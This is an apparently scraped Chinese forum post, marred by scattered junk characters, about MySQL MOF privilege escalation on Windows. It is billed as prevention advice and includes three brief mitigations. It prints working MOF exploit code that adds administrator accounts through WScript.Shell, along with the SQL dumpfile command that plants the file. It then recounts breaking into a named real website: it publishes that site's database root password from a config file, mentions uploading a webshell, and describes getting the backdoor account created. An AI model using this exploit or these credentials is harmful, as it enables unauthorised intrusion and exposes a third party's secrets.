Mysql mof扩展漏洞防范方法
0 p5 r% ~7 M3 U& V. c/ V2 O3 \0 d3 {" }& W3 U, f- e
网上公开的一些利用代码:6 H4 @' a3 z! V) T
: X2 _) x/ L2 U' R
#pragma namespace(“\\\\.\\root\\subscription”)
% {: b% s" G4 W, g; A1 i! Q9 Z2 p6 ]" V0 _& c
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };' U: C F8 r$ R$ u
- k8 \* w+ L% f% q9 [- G1 ^
! y. x3 i, H/ Q, I' @2 o, A7 J7 C1 O" F% d9 {( G& f
a6 Y% G( S, u% X# u
: @+ s; I3 e4 m i) }连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;0 ]3 Z! C* w% G/ ?6 w
从上面代码来看得出解决办法:) e) k4 a6 B# D, I1 e/ @2 P) D- Z, \
# w" ?* C4 c4 b1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数1 ?& H" ^9 Y# S. M: h8 R9 ?
: j+ L# c1 r" _4 ~2 s$ Y2、禁止使用”WScript.Shel”组件" V9 F, g) A9 G
$ Q% ?1 y* D% @/ S8 p3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
( u$ C) B7 l2 F
0 U9 q s& j0 c8 O$ Q/ l当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
- p2 ^. z- s ^/ C3 j' O. u: \6 s, d o( e5 |( F% U. z
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权! `, a3 J5 L" ?. _
; c$ R" o# W# o. E' B
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容. h+ G. I/ Z% t1 W
0 c" W) o* J9 q( T3 _. N( @- e) W看懂了后就开始练手吧3 H9 I9 C9 S5 ?" [: B1 y/ F ]
/ \0 {1 `1 z" ] U
http://www.webbmw.com/config/config_ucenter.php 一句话 a
$ x/ {* M6 O$ G- R8 e2 J0 E3 X( q) b u4 y: c8 V" z
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
5 E ^- k9 {: S2 J9 {2 g- E! _- N2 h2 O6 E9 u& {
于是直接用菜刀开搞
! g: X& W/ W8 d- \4 ]
9 ]9 u# k8 g1 m0 ]! Q8 e+ r5 T上马先
) a, N% f: p/ Q. k Z, `. J' m! {. |, m
既然有了那些账号 之类的 于是我们就执行吧…….2 ]8 M( M" n6 ]8 s& x
' q0 }( T& X5 O1 m6 }( k小小的说下; q+ E2 Y+ R" }% j/ o. F( C x8 m
( T, k' s( I5 ]: T; {
在这里第1次执行未成功 原因未知 F" M) q- J$ D6 {- ^5 u8 \+ h
; s3 t* T |8 Y5 V* g6 l
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。; V4 ~' y3 H1 a7 x) ?: p
0 i8 o- B, T7 x0 e6 J: E& ^: \5 F#pragma namespace(“\\\\.\\root\\subscription”)4 I' ^* a0 k7 p* R0 k H; I
5 v" e: A' O* `6 c+ S9 Yinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };! b! N: e* P( w" Z+ K! h6 n
r, V3 ~7 U. F- ~$ l
我是将文件放到C:\WINDOWS\temp\1.mof* h, M& C3 [1 c* ]4 \4 c, T" s
5 G& ? H9 y ?, K( G1 X
所以我们就改下执行的代码
3 c0 b7 ?8 x0 x5 C) K( y1 d/ S- Z! s Q! J
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; q6 L. n" } ~5 W. s! e' \" p: F
! j. g4 S" e5 S6 j, p5 o
( ]5 w2 Y" p$ u. o
! _, c0 p" [/ O/ J5 ~/ }但是 你会发现账号还是没有躺在那里。。
% H& L; S4 e' i5 o+ z6 i; Q
" M) [7 G& r8 H' I于是我就感觉蛋疼
6 ~5 U% k8 {5 y' {7 J5 u
7 A. z8 g u) [; ?就去一个一个去执行 但是执行到第2个 mysql时就成功了………
) C7 M' E3 o% E) t+ j- L# ]) \" h" Y
6 H! m" G6 ~* d1 x, z D" {
' E3 x `* X% Z4 d% L9 f/ ?6 a/ t
3 E" A( v" [3 r C/ r: }! ~但是其他库均不成功…) p6 o! \! @1 K8 Q' I/ T2 G" V+ m4 I
' a' f# q1 ^1 i$ a% m/ @
我就很费解呀 到底为什么不成功求大牛解答…& s0 R- t4 I' x
# Z9 [" j* l0 m4 m
5 V; b- D( K/ J
$ I! K0 _& f2 ^ |